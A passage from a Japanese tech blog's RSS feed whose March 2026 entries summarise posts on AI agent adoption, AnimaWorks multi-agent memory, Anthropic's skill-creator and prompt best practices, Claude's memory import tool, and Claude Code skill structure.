&lt;td&gt;特徴&lt;/td&gt;
&lt;td&gt;ラボ環境ではなく、日常生活での実際の対話データを使用&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;この研究が従来と異なるのは、&lt;strong&gt;実世界のデータ&lt;/strong&gt;を使っている点です。多くの先行研究はラボで設計したプロンプトを評価しますが、MIT チームは参加者の日常的な LLM 利用を 2 週間追跡しました。&lt;/p&gt;</description></item><item><title>AIエージェント「デモ→本番」95%脱落 × 4つの壁とエージェンティックRAG実践</title><link>https://hdknr.github.io/blogs/posts/2026/03/ai%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%83%87%E3%83%A2%E6%9C%AC%E7%95%AA95%E8%84%B1%E8%90%BD-4%E3%81%A4%E3%81%AE%E5%A3%81%E3%81%A8%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%86%E3%82%A3%E3%83%83%E3%82%AFrag%E5%AE%9F%E8%B7%B5/</link><pubDate>Wed, 04 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/ai%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%83%87%E3%83%A2%E6%9C%AC%E7%95%AA95%E8%84%B1%E8%90%BD-4%E3%81%A4%E3%81%AE%E5%A3%81%E3%81%A8%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%86%E3%82%A3%E3%83%83%E3%82%AFrag%E5%AE%9F%E8%B7%B5/</guid><description>&lt;h1 id="aiエージェントデモ本番95脱落--4つの壁とエージェンティックrag実践"&gt;AIエージェント「デモ→本番」95%脱落 × 4つの壁とエージェンティックRAG実践&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/femke_plantinga"&gt;Femke Plantinga さん&lt;/a&gt;が、AIエージェントのデモと本番環境のギャップについて、Stack AI・Weaviate と共同作成した無料ガイドを公開しています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;95% of AI agent demos never make it to production. Yet 79% of enterprises expect full-scale agentic AI adoption within three years. So what&amp;rsquo;s the disconnect?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href="https://x.com/femke_plantinga/status/2029134837890621844"&gt;https://x.com/femke_plantinga/status/2029134837890621844&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;48 いいね・8 RT を集めたこのポストが指摘するのは、AIエージェントの「デモでは動く」と「本番で使える」の間にある巨大なギャップです。MIT の調査（GenAI Divide: State of AI in Business 2025）でも、エンタープライズ向け生成AIシステムのうち本番環境に到達するのは**わずか5%**という数字が報告されています。&lt;/p&gt;
&lt;h2 id="95が脱落する現実"&gt;95%が脱落する現実&lt;/h2&gt;
&lt;p&gt;複数の調査が、AIエージェントのデモ→本番の落差を裏付けています。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;調査・出典&lt;/th&gt;
&lt;th&gt;数字&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;MIT GenAI Divide 2025&lt;/td&gt;
&lt;td&gt;本番到達は全体の &lt;strong&gt;5%&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;企業調査（探索中 30%、パイロット 38%、デプロイ準備 14%、本番稼働 &lt;strong&gt;11%&lt;/strong&gt;）&lt;/td&gt;
&lt;td&gt;パイロットから先に進めない&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Gartner 予測&lt;/td&gt;
&lt;td&gt;2027年までにエージェンティックAIプロジェクトの &lt;strong&gt;40%以上&lt;/strong&gt;が中止&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AI施策全般&lt;/td&gt;
&lt;td&gt;90〜95%が持続的な本番価値を提供できず、ROI達成は &lt;strong&gt;12%未満&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;問題はモデルの性能ではなく、&lt;strong&gt;自律システムを運用するエンジニアリング規律の欠如&lt;/strong&gt;です。&lt;/p&gt;</description></item><item><title>AnimaWorks 脳科学5層記憶 × マルチエージェント「文脈崩壊」問題への解答</title><link>https://hdknr.github.io/blogs/posts/2026/03/animaworks-%E8%84%B3%E7%A7%91%E5%AD%A65%E5%B1%A4%E8%A8%98%E6%86%B6-%E3%83%9E%E3%83%AB%E3%83%81%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E6%96%87%E8%84%88%E5%B4%A9%E5%A3%8A%E5%95%8F%E9%A1%8C%E3%81%B8%E3%81%AE%E8%A7%A3%E7%AD%94/</link><pubDate>Wed, 04 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/animaworks-%E8%84%B3%E7%A7%91%E5%AD%A65%E5%B1%A4%E8%A8%98%E6%86%B6-%E3%83%9E%E3%83%AB%E3%83%81%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E6%96%87%E8%84%88%E5%B4%A9%E5%A3%8A%E5%95%8F%E9%A1%8C%E3%81%B8%E3%81%AE%E8%A7%A3%E7%AD%94/</guid><description>&lt;h1 id="animaworks-脳科学5層記憶--マルチエージェント文脈崩壊問題への解答"&gt;AnimaWorks 脳科学5層記憶 × マルチエージェント「文脈崩壊」問題への解答&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/AI_masaou"&gt;まさお@AI駆動開発さん&lt;/a&gt;が、マルチエージェントの最大の課題である「長期タスクで文脈が壊れる」問題に対して、脳科学ベースの記憶システムで挑むOSS「AnimaWorks」を紹介しています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;マルチエージェントの最大の課題「長期タスクで文脈が壊れる」に、脳科学ベースの記憶システムで挑んでいるOSSがある。それが『AnimaWorks』。エージェントを「ステートレスな関数」ではなく「組織の中の人」として設計するフレームワーク。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href="https://x.com/AI_masaou/status/2029134762447667373"&gt;https://x.com/AI_masaou/status/2029134762447667373&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;21 いいね・2 RT を集めたこのポストが注目するのは、従来のマルチエージェントが抱えるコンテキストウィンドウの限界を、「記憶の蓄積・整理・忘却」というサイクルで乗り越えようとする設計思想です。&lt;/p&gt;
&lt;h2 id="マルチエージェントの文脈崩壊問題"&gt;マルチエージェントの「文脈崩壊」問題&lt;/h2&gt;
&lt;h3 id="llm-の記憶の仕組み"&gt;LLM の「記憶」の仕組み&lt;/h3&gt;
&lt;p&gt;まず前提として、LLM（ChatGPT や Claude など）には人間のような記憶がありません。LLM が「覚えている」ように見えるのは、会話の全履歴を毎回テキストとして入力に含めているからです。この入力テキスト全体を&lt;strong&gt;コンテキストウィンドウ&lt;/strong&gt;と呼びます。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;┌─────────────────────────────────────┐
│ コンテキストウィンドウ（例: 200K トークン） │
│ │
│ システム指示 │
│ ユーザー: こんにちは │
│ AI: こんにちは！ │
│ ユーザー: Pythonで関数を書いて │
│ AI: def hello(): ... │
│ ...（数百ターンの会話履歴） │ ← 会話が長くなるほど膨らむ
└─────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="ウィンドウの物理的限界"&gt;ウィンドウの物理的限界&lt;/h3&gt;
&lt;p&gt;コンテキストウィンドウには上限があります（Claude で約 200K トークン、日本語で約 10〜15 万文字）。長期タスクでは会話履歴がこの上限に達し、&lt;strong&gt;古い情報から順に切り捨てられます&lt;/strong&gt;。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;タスク開始時:
「このプロジェクトでは認証にJWTを使う方針です」 ← 重要な初期方針
... 200ターン後 ...
「ログイン機能を実装して」
→ エージェントは JWT の方針を忘れており、
セッション認証で実装してしまう
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="注意力の希釈lost-in-the-middle"&gt;注意力の希釈（Lost in the Middle）&lt;/h3&gt;
&lt;p&gt;ウィンドウ内に収まっていても、情報量が多すぎると LLM の「注意力」が分散します。研究では、コンテキストの&lt;strong&gt;先頭と末尾&lt;/strong&gt;の情報は活用されやすいが、&lt;strong&gt;中間部分は見落とされやすい&lt;/strong&gt;ことが分かっています。&lt;/p&gt;</description></item><item><title>Anthropic 公式 skill-creator の設計を解剖する — Orchestration Skill という新しいスキル設計パターン</title><link>https://hdknr.github.io/blogs/posts/2026/03/anthropic-%E5%85%AC%E5%BC%8F-skill-creator-%E3%81%AE%E8%A8%AD%E8%A8%88%E3%82%92%E8%A7%A3%E5%89%96%E3%81%99%E3%82%8B-orchestration-skill-%E3%81%A8%E3%81%84%E3%81%86%E6%96%B0%E3%81%97%E3%81%84%E3%82%B9%E3%82%AD%E3%83%AB%E8%A8%AD%E8%A8%88%E3%83%91%E3%82%BF%E3%83%BC%E3%83%B3/</link><pubDate>Wed, 04 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/anthropic-%E5%85%AC%E5%BC%8F-skill-creator-%E3%81%AE%E8%A8%AD%E8%A8%88%E3%82%92%E8%A7%A3%E5%89%96%E3%81%99%E3%82%8B-orchestration-skill-%E3%81%A8%E3%81%84%E3%81%86%E6%96%B0%E3%81%97%E3%81%84%E3%82%B9%E3%82%AD%E3%83%AB%E8%A8%AD%E8%A8%88%E3%83%91%E3%82%BF%E3%83%BC%E3%83%B3/</guid><description>&lt;h1 id="anthropic-公式-skill-creator-の設計を解剖する--orchestration-skill-という新しいスキル設計パターン"&gt;Anthropic 公式 skill-creator の設計を解剖する — Orchestration Skill という新しいスキル設計パターン&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/gyakuse/status/2029107909058330839"&gt;@gyakuse（逆瀬川）氏のポスト&lt;/a&gt;が、Anthropic 公式の skill-creator を分析した記事を公開し、大きな反響を呼んでいます（いいね 330、ブックマーク 372）。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Anthropicのskill-creatorがめちゃくちゃいいスキルだったので、中身を分析して、今後どういうふうにAgent Skillを作るべきかまとめました。Orchestrator系のSkillはみんなが無意識に作りつつありますが、意識的に作ると結構便利な気がします。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;引用元は逆瀬川氏のブログ記事「&lt;a href="https://nyosegawa.github.io/posts/skill-creator-and-orchestration-skill/"&gt;skill-creatorから学ぶSkill設計と、Orchestration Skillの作り方&lt;/a&gt;」。Anthropic が &lt;a href="https://github.com/anthropics/skills/blob/main/skills/skill-creator/SKILL.md"&gt;GitHub で公開している skill-creator&lt;/a&gt; の内部構造を詳細に分析し、Skills の設計パターンを体系化した記事です。&lt;/p&gt;
&lt;p&gt;本記事では、skill-creator の設計思想、7つのベストプラクティス、2つのオーケストレーションアーキテクチャ、そして未解決の課題を解説します。&lt;/p&gt;
&lt;h2 id="skill-creator-とは何か"&gt;skill-creator とは何か&lt;/h2&gt;
&lt;h3 id="スキルを作るためのスキル"&gt;「スキルを作るためのスキル」&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://github.com/anthropics/skills/blob/main/skills/skill-creator/SKILL.md"&gt;skill-creator&lt;/a&gt; は、Claude Code の Skills を作成・テスト・改善するための&lt;strong&gt;メタスキル&lt;/strong&gt;です。Anthropic が公式リポジトリ &lt;a href="https://github.com/anthropics/skills"&gt;anthropics/skills&lt;/a&gt; で公開しています。&lt;/p&gt;
&lt;p&gt;4つのモードで Skills の開発ライフサイクル全体をカバーします。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;モード&lt;/th&gt;
&lt;th&gt;機能&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Create&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;インタビュー → SKILL.md ドラフト作成 → テストケース生成&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Eval&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;並列評価（スキルあり版 vs ベースライン版を同時実行）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Improve&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;採点・分析 → HTML ビューアでレビュー → フィードバック反映&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Benchmark&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;統計集約 → Description 最適化 → パッケージング&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="4つの専門エージェント"&gt;4つの専門エージェント&lt;/h3&gt;
&lt;p&gt;skill-creator は内部で4つのサブエージェントを使い分けています。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;エージェント&lt;/th&gt;
&lt;th&gt;役割&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Executor&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Skills を実際に実行してテスト&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Grader&lt;/strong&gt;（224行）&lt;/td&gt;
&lt;td&gt;出力を期待値と照合して採点&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Comparator&lt;/strong&gt;（203行）&lt;/td&gt;
&lt;td&gt;スキルあり版とベースライン版を盲検比較&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Analyzer&lt;/strong&gt;（275行）&lt;/td&gt;
&lt;td&gt;結果を分析して改善提案を生成&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;注目すべき数値があります。SKILL.md 本体は 480行のフロー制御ですが、サブエージェントのプロンプトは合計 700行以上。&lt;strong&gt;オーケストレーターよりも専門家プロンプトの方が分量が多い&lt;/strong&gt;のです。&lt;/p&gt;</description></item><item><title>Anthropic 公式「プロンプトのベストプラクティス」完全ガイド — Claude 4.6 時代の「宝の山」を読み解く</title><link>https://hdknr.github.io/blogs/posts/2026/03/anthropic-%E5%85%AC%E5%BC%8F%E3%83%97%E3%83%AD%E3%83%B3%E3%83%97%E3%83%88%E3%81%AE%E3%83%99%E3%82%B9%E3%83%88%E3%83%97%E3%83%A9%E3%82%AF%E3%83%86%E3%82%A3%E3%82%B9%E5%AE%8C%E5%85%A8%E3%82%AC%E3%82%A4%E3%83%89-claude-4.6-%E6%99%82%E4%BB%A3%E3%81%AE%E5%AE%9D%E3%81%AE%E5%B1%B1%E3%82%92%E8%AA%AD%E3%81%BF%E8%A7%A3%E3%81%8F/</link><pubDate>Wed, 04 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/anthropic-%E5%85%AC%E5%BC%8F%E3%83%97%E3%83%AD%E3%83%B3%E3%83%97%E3%83%88%E3%81%AE%E3%83%99%E3%82%B9%E3%83%88%E3%83%97%E3%83%A9%E3%82%AF%E3%83%86%E3%82%A3%E3%82%B9%E5%AE%8C%E5%85%A8%E3%82%AC%E3%82%A4%E3%83%89-claude-4.6-%E6%99%82%E4%BB%A3%E3%81%AE%E5%AE%9D%E3%81%AE%E5%B1%B1%E3%82%92%E8%AA%AD%E3%81%BF%E8%A7%A3%E3%81%8F/</guid><description>&lt;h1 id="anthropic-公式プロンプトのベストプラクティス完全ガイド--claude-46-時代の宝の山を読み解く"&gt;Anthropic 公式「プロンプトのベストプラクティス」完全ガイド — Claude 4.6 時代の「宝の山」を読み解く&lt;/h1&gt;
&lt;p&gt;Cursor Ambassador であり「Cursor完全ガイド」著者の&lt;a href="https://x.com/kinopee_ai/status/2028843964221243853"&gt;Kinopee(@kinopee_ai)氏のポスト&lt;/a&gt;が注目を集めています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;XML云々の例は英語版のリンクだけど、日本語訳もある。「プロンプトのベストプラクティス」の章だけでも熟読をお勧めします。作りたいものをモデルに伝える大切なテクニック集、宝の山。
— Kinopee(@kinopee_ai)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;67いいね、91ブックマークという反響は、AI コーディングツールを日常的に使う開発者がプロンプト設計の基礎に立ち返る必要性を感じていることを示しています。Kinopee氏が「宝の山」と表現する &lt;a href="https://docs.anthropic.com/en/docs/build-with-claude/prompt-engineering/claude-prompting-best-practices"&gt;Anthropic 公式のプロンプトベストプラクティス&lt;/a&gt;は、Claude Opus 4.6、Claude Sonnet 4.6、Claude Haiku 4.5 に対応した包括的なガイドです。本記事ではその全体像を、実践的な視点で解説します。&lt;/p&gt;
&lt;h2 id="ドキュメントの全体構成"&gt;ドキュメントの全体構成&lt;/h2&gt;
&lt;p&gt;公式ドキュメントは大きく6つのセクションで構成されています。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;セクション&lt;/th&gt;
&lt;th&gt;内容&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;General principles&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;明確な指示、コンテキスト付与、例示、XMLタグ構造化、ロール設定、長文コンテキスト&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Output and formatting&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;コミュニケーションスタイル、出力形式制御、LaTeX、ドキュメント作成、プリフィル廃止&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Tool use&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;ツール使用の明示的指示、並列ツール呼び出し最適化&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Thinking and reasoning&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;過剰思考の抑制、adaptive thinking、interleaved thinking&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Agentic systems&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;長期推論、状態管理、自律性と安全性のバランス、サブエージェント&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Migration considerations&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Claude 4.6 への移行ガイド、Sonnet 4.5 → 4.6 の effort 設定&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;API 開発者向けの内容ですが、Claude Code や Cursor などの AI コーディングツールを使う際にも、&lt;strong&gt;CLAUDE.md やシステムプロンプトの設計&lt;/strong&gt;に直接応用できます。&lt;/p&gt;
&lt;h2 id="最もインパクトの高い5つのスキル"&gt;最もインパクトの高い5つのスキル&lt;/h2&gt;
&lt;p&gt;公式ドキュメントが挙げる「最もインパクトの高い5つのスキル」は以下の通りです。&lt;/p&gt;
&lt;h3 id="1-xml-タグで構造化する"&gt;1. XML タグで構造化する&lt;/h3&gt;
&lt;p&gt;Claude にとって XML タグは&lt;strong&gt;プロンプトの文法&lt;/strong&gt;です。指示、コンテキスト、例示、入力データが混在するプロンプトでは、各要素をタグで包むことで誤解を大幅に減らせます。&lt;/p&gt;</description></item><item><title>Anthropic、ChatGPT からの移行ツール提供開始 --- メモリインポートと App Store 1位の背景</title><link>https://hdknr.github.io/blogs/posts/2026/03/anthropicchatgpt-%E3%81%8B%E3%82%89%E3%81%AE%E7%A7%BB%E8%A1%8C%E3%83%84%E3%83%BC%E3%83%AB%E6%8F%90%E4%BE%9B%E9%96%8B%E5%A7%8B---%E3%83%A1%E3%83%A2%E3%83%AA%E3%82%A4%E3%83%B3%E3%83%9D%E3%83%BC%E3%83%88%E3%81%A8-app-store-1%E4%BD%8D%E3%81%AE%E8%83%8C%E6%99%AF/</link><pubDate>Wed, 04 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/anthropicchatgpt-%E3%81%8B%E3%82%89%E3%81%AE%E7%A7%BB%E8%A1%8C%E3%83%84%E3%83%BC%E3%83%AB%E6%8F%90%E4%BE%9B%E9%96%8B%E5%A7%8B---%E3%83%A1%E3%83%A2%E3%83%AA%E3%82%A4%E3%83%B3%E3%83%9D%E3%83%BC%E3%83%88%E3%81%A8-app-store-1%E4%BD%8D%E3%81%AE%E8%83%8C%E6%99%AF/</guid><description>&lt;h1 id="anthropicchatgpt-からの移行ツール提供開始--メモリインポートと-app-store-1-位の背景"&gt;Anthropic、ChatGPT からの移行ツール提供開始 &amp;mdash; メモリインポートと App Store 1 位の背景&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/itm_aiplus/status/2028625171997966782"&gt;ITmedia AI+ が X で報じた&lt;/a&gt;ように、Anthropic が ChatGPT などの競合サービスから Claude への移行を支援するツールの提供を開始しました。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Anthropic、ChatGPT などから Claude への移行をしやすくするツール提供開始&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;2026 年 3 月 2 日、Claude は米国 App Store の無料アプリダウンロードチャートで &lt;strong&gt;1 位&lt;/strong&gt;に躍り出ました。この記事では、メモリインポート機能の仕組みと、その背景にある ChatGPT 解約運動について解説します。&lt;/p&gt;
&lt;h2 id="メモリインポート機能とは"&gt;メモリインポート機能とは&lt;/h2&gt;
&lt;h3 id="概要"&gt;概要&lt;/h3&gt;
&lt;p&gt;Anthropic は &lt;a href="https://claude.com/import-memory"&gt;claude.com/import-memory&lt;/a&gt; でメモリインポート機能を公開しました。他の AI チャットボット（ChatGPT、Gemini、Copilot）に蓄積された「メモリ」を Claude に移行できるツールです。&lt;/p&gt;
&lt;p&gt;AI チャットボットの「メモリ」とは、過去の会話から学習したユーザーの好み・背景情報・利用パターンなどの記憶です。ChatGPT では「Memory」、Gemini では「Gems」として保存されています。&lt;/p&gt;
&lt;h3 id="移行の手順3-ステップ"&gt;移行の手順（3 ステップ）&lt;/h3&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;ステップ 1: Anthropic が提供するプロンプトをコピー
claude.com/import-memory にアクセス
移行用プロンプトをコピーする
ステップ 2: 現在の AI サービスにペースト
ChatGPT / Gemini / Copilot にプロンプトを貼り付け
AI が保存しているメモリをテキストブロックとして出力
ステップ 3: Claude のメモリ設定にペースト
出力されたテキストを Claude のメモリ設定に貼り付け
Claude が内容を解析し、メモリとして取り込む
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;インポートしたメモリは約 24 時間で Claude に反映されます。その後、Settings &amp;gt; Capabilities &amp;gt; View and edit your memory から個別に確認・編集・削除が可能です。&lt;/p&gt;</description></item><item><title>Anything の Research Agents — 「コードを書く前に調べる」AI エージェントが Vibe Coding の次に来るもの</title><link>https://hdknr.github.io/blogs/posts/2026/03/anything-%E3%81%AE-research-agents-%E3%82%B3%E3%83%BC%E3%83%89%E3%82%92%E6%9B%B8%E3%81%8F%E5%89%8D%E3%81%AB%E8%AA%BF%E3%81%B9%E3%82%8Bai-%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%81%8C-vibe-coding-%E3%81%AE%E6%AC%A1%E3%81%AB%E6%9D%A5%E3%82%8B%E3%82%82%E3%81%AE/</link><pubDate>Wed, 04 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/anything-%E3%81%AE-research-agents-%E3%82%B3%E3%83%BC%E3%83%89%E3%82%92%E6%9B%B8%E3%81%8F%E5%89%8D%E3%81%AB%E8%AA%BF%E3%81%B9%E3%82%8Bai-%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%81%8C-vibe-coding-%E3%81%AE%E6%AC%A1%E3%81%AB%E6%9D%A5%E3%82%8B%E3%82%82%E3%81%AE/</guid><description>&lt;h1 id="anything-の-research-agents--コードを書く前に調べるai-エージェントが-vibe-coding-の次に来るもの"&gt;Anything の Research Agents — 「コードを書く前に調べる」AI エージェントが Vibe Coding の次に来るもの&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/sora19ai/status/2029058745628844357"&gt;@sora19ai 氏のポスト&lt;/a&gt;が、AI アプリビルダー Anything の新機能「Research Agents」を紹介しています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;AnythingがResearch Agentsをリリース&lt;/p&gt;
&lt;p&gt;重要なポイント3つ：
・コードを書く前に並列エージェントがコードベースを調査
・ファイル読み込み、パターン検索、依存関係トレースを自動化
・ミスを大幅に削減&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href="https://x.com/anything/status/2028908761289552191"&gt;Anything 公式のポスト&lt;/a&gt;（いいね 1,093、ブックマーク 1,550）は、より明確にこの機能の意図を宣言しています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Research Agents are live! Anything now sends parallel agents across your codebase before writing a single line of code — reading files, searching patterns, tracing dependencies, making NO mistakes. &lt;strong&gt;vibe coding is over.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;「Vibe Coding は終わった」という挑発的な一文が目を引きます。本記事では、Research Agents が実装する「調査してから書く」アプローチの意味と、AI コーディングの次の段階を解説します。&lt;/p&gt;
&lt;h2 id="anything-とは何か"&gt;Anything とは何か&lt;/h2&gt;
&lt;h3 id="ai-アプリビルダーの概要"&gt;AI アプリビルダーの概要&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://www.createanything.com/"&gt;Anything&lt;/a&gt;（旧称 Create）は、自然言語でアプリを構築できる AI アプリビルダーです。&lt;/p&gt;</description></item><item><title>Claude Code Agent Skills を強化する三銃士 --- scripts / references / assets の使い分け</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-code-agent-skills-%E3%82%92%E5%BC%B7%E5%8C%96%E3%81%99%E3%82%8B%E4%B8%89%E9%8A%83%E5%A3%AB---scripts-/-references-/-assets-%E3%81%AE%E4%BD%BF%E3%81%84%E5%88%86%E3%81%91/</link><pubDate>Wed, 04 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-code-agent-skills-%E3%82%92%E5%BC%B7%E5%8C%96%E3%81%99%E3%82%8B%E4%B8%89%E9%8A%83%E5%A3%AB---scripts-/-references-/-assets-%E3%81%AE%E4%BD%BF%E3%81%84%E5%88%86%E3%81%91/</guid><description>&lt;h1 id="claude-code-agent-skills-を強化する三銃士--scripts--references--assets-の使い分け"&gt;Claude Code Agent Skills を強化する三銃士 &amp;mdash; scripts / references / assets の使い分け&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/shuhei_ohno/status/2028773337439273324"&gt;@shuhei_ohno 氏が X で投稿&lt;/a&gt;した、Claude Code の Agent Skills を強化するディレクトリ構造の解説が注目を集めています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Agent Skill をもっと強くする三銃士！scripts / references / assets の使い方&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Claude Code の Skills 機能は &lt;code&gt;SKILL.md&lt;/code&gt; 1 ファイルで完結するものと思われがちですが、実際には &lt;strong&gt;scripts / references / assets&lt;/strong&gt; の 3 つのサポートディレクトリを活用することで、はるかに強力な自動化が可能になります。本記事では、この 3 つのディレクトリの役割と設計パターンを、公式ドキュメントの知見を交えて解説します。&lt;/p&gt;
&lt;h2 id="agent-skills-の基本構造"&gt;Agent Skills の基本構造&lt;/h2&gt;
&lt;h3 id="skillmd-がすべての起点"&gt;SKILL.md がすべての起点&lt;/h3&gt;
&lt;p&gt;Claude Code の Skill は、&lt;code&gt;.claude/skills/&lt;/code&gt; ディレクトリに配置された &lt;strong&gt;SKILL.md&lt;/strong&gt; ファイルを起点として動作します。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;.claude/skills/
└── my-skill/
├── SKILL.md ← エントリポイント（必須）
├── scripts/ ← 実行可能なコード
├── references/ ← 参照ドキュメント
└── assets/ ← テンプレート・バイナリ
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;SKILL.md は Markdown 形式で記述し、オプションの YAML フロントマターでメタデータを設定します。&lt;/p&gt;</description></item><item><title>Claude Code Skills × 自己完結スクリプト — MCP/CLIの先にある「トークン効率」設計</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-code-skills-%E8%87%AA%E5%B7%B1%E5%AE%8C%E7%B5%90%E3%82%B9%E3%82%AF%E3%83%AA%E3%83%97%E3%83%88-mcp/cli%E3%81%AE%E5%85%88%E3%81%AB%E3%81%82%E3%82%8B%E3%83%88%E3%83%BC%E3%82%AF%E3%83%B3%E5%8A%B9%E7%8E%87%E8%A8%AD%E8%A8%88/</link><pubDate>Wed, 04 Mar 2026 00:00:00 